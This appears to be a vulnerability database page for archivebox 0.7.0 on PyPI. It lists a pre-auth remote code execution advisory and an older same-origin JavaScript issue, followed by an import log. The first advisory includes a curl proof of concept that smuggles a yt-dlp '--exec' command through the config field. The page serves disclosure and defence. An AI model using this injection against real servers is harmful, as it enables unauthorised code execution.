Search for packages
| purl | pkg:pypi/archivebox@0.7.0 |
| Vulnerability | Summary | Fixed by |
|---|---|---|
|
VCID-c2au-fpkn-8kfx
Aliases: CVE-2026-42601 GHSA-3h23-7824-pj8r |
ArchiveBox Vulnerable to RCE via unvalidated per-crawl config overrides in AddView The /add/ endpoint (AddView in core/views.py) accepts a config JSON field that gets merged into the crawl config without validation. This config is exported as environment variables when archive plugins run, allowing injection of arbitrary tool arguments to achieve RCE. When PUBLIC_ADD_VIEW=True (common for bookmarklet usage), this is exploitable without authentication. The endpoint is also @csrf_exempt. Affected code: core/views.py:887 - user config extracted with no validation: ```python custom_config = form.cleaned_data.get("config") or {} ``` core/views.py:918 - merged into crawl config: ```python config.update(custom_config) ``` config/configset.py:255-256 - crawl config applied with high priority: ```python if crawl and hasattr(crawl, "config") and crawl.config: config.update(crawl.config) ``` hooks.py:398-411 - config exported as env vars: ```python for key, value in config.items(): if key in SKIP_KEYS: continue env[key] = str(value) ``` plugins/ytdlp/on_Snapshot__02_ytdlp.bg.py:122-123 - env var args passed to yt-dlp: ```python ytdlp_args_extra = get_env_array("YTDLP_ARGS_EXTRA", []) cmd.extend(ytdlp_args_extra) ``` PoC (pre-auth when PUBLIC_ADD_VIEW=True): ```bash curl -X POST http://localhost:8000/add/ \ -d "url=https://www.youtube.com/watch?v=dQw4w9WgXcQ" \ -d "depth=0" \ -d "config={\"YTDLP_ARGS_EXTRA\": \"[\\\"--exec\\\", \\\"id > /tmp/pwned\\\"]\"}" ``` After the crawl runs, yt-dlp executes id > /tmp/pwned via its --exec flag. Same approach works with GALLERYDL_ARGS_EXTRA (gallery-dl --exec), or overriding any *_BINARY key. Impact: Remote code execution on the ArchiveBox server. Pre-auth when PUBLIC_ADD_VIEW=True. |
Affected by 0 other vulnerabilities. |
| Vulnerability | Summary | Aliases |
|---|---|---|
| VCID-ghey-njvy-vqd1 | ArchiveBox is an open source self-hosted web archiving system. Any users who are using the `wget` extractor and view the content it outputs. The impact is potentially severe if you are logged in to the ArchiveBox admin site in the same browser session and view an archived malicious page designed to target your ArchiveBox instance. Malicious Javascript could potentially act using your logged-in admin credentials and add/remove/modify snapshots, add/remove/modify ArchiveBox users, and generally do anything an admin user could do. The impact is less severe for non-logged-in users, as malicious Javascript cannot *modify* any archives, but it can still *read* all the other archived content by fetching the snapshot index and iterating through it. Because all of ArchiveBox's archived content is served from the same host and port as the admin panel, when archived pages are viewed the JS executes in the same context as all the other archived pages (and the admin panel), defeating most of the browser's usual CORS/CSRF security protections and leading to this issue. A patch is being developed in https://github.com/ArchiveBox/ArchiveBox/issues/239. As a mitigation for this issue would be to disable the wget extractor by setting `archivebox config --set SAVE_WGET=False`, ensure you are always logged out, or serve only a [static HTML version](https://github.com/ArchiveBox/ArchiveBox/wiki/Publishing-Your-Archive#2-export-and-host-it-as-static-html) of your archive. |
CVE-2023-45815
GHSA-cr45-98w9-gwqx PYSEC-2023-229 |
| Date | Actor | Action | Vulnerability | Source | VulnerableCode Version |
|---|---|---|---|---|---|
| 2026-06-06T08:24:51.280082+00:00 | GitLab Importer | Affected by | VCID-c2au-fpkn-8kfx | https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/archivebox/CVE-2026-42601.yml | 38.6.0 |
| 2026-06-05T17:03:11.442170+00:00 | PyPI Importer | Fixing | VCID-ghey-njvy-vqd1 | https://osv-vulnerabilities.storage.googleapis.com/PyPI/all.zip | 38.6.0 |
| 2026-06-02T04:19:54.241111+00:00 | Pypa Importer | Fixing | VCID-ghey-njvy-vqd1 | https://github.com/pypa/advisory-database/blob/main/vulns/archivebox/PYSEC-2023-229.yaml | 38.6.0 |